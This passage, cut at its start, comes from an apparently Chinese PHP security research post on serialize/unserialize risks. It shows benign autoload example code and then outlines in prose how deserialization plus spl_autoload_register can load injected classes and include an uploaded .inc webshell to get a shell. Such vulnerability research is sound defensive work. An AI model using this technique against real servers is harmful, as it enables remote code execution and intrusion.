}
}
?>

index.php文件中写入

<?php
function __autoload($classname){
$filename = "./class/".$classname.".class.php";
if(is_file($filename)){
include $filename;
}
} $test1 = new class1();
echo '<br/>';
$test1 = new class2();
echo '<br/>';
$test1 = new class3(); //结果是
//class1
//class2
//class3 ?>

PHP自动加载了class下面所有的要加载的类

0x3: spl_autoload_register() —— 注册__autoload()函数

spl_autoload_register()本质上和__autoload()是一致的,区别在于spl_autoload_register只要运行注册一次即全局有效,不需要在每个单独的文件中都声明__autoload()

<?php
// 写一个loadclass函数
// loadclass函数不具备自动加载类的功能
function loadclass($classname){
$filename = "./class/".$classname.".class.php";
if(is_file($filename)){
include $filename;
}
}
// spl_autoload_register()函数让这个loadclass具备了自动加载类的功能
spl_autoload_register("loadclass"); $test1 = new class1();
echo '<br/>';
$test1 = new class2();
echo '<br/>';
$test1 = new class3();
?>

0x4: 入侵向量

1. 反序列化注入一个注入点当前代码空间没有的类

. 如果存在反序列化注入的文件加载的class很有限,当前代码空间并不包含可以进行代码执行、或文件写入的函数
. 如果目标CMS或者框架使用了spl_autoload_register()自动加载机制,可以直接注入一个当前代码控制不存在的class
. 在反序列化对象重建的时候,PHP会帮我们自动加载引入所需的class

2. 利用自动类加载机制绕过上传限制

. spl_autoload_register函数有个特点,如果不指定处理用的函数,就会自动包含"类名.php"或"类名.inc"的文件,并加载其中的"类名"类
. 如果目标框架对上传文件进行了重命名(例如MD5),或者不进行重命名且我们能知道上次后的文件名
. 上传webshell,后缀为.inc,被重命名为xxxx.inc
. 序列化一个类名为xxxx的类对象,生成payload后,发送给目标服务器
. 服务器反序列化这个字符串后,将会自动加载xxxx类,由于之前spl_autoload_register函数注册的方法,会自动加载xxxx.inc,从而造成文件包含漏洞,getshell成功

PHP serialize && unserialize Security Risk Research

Relevant Link:

http://honkwin.com/show/1962.html
http://php.net/manual/zh/function.autoload.php
http://my.oschina.net/alexskywinner/blog/92737
http://drops.wooyun.org/tips/10564

Copyright (c) 2014 LittleHann All rights reserved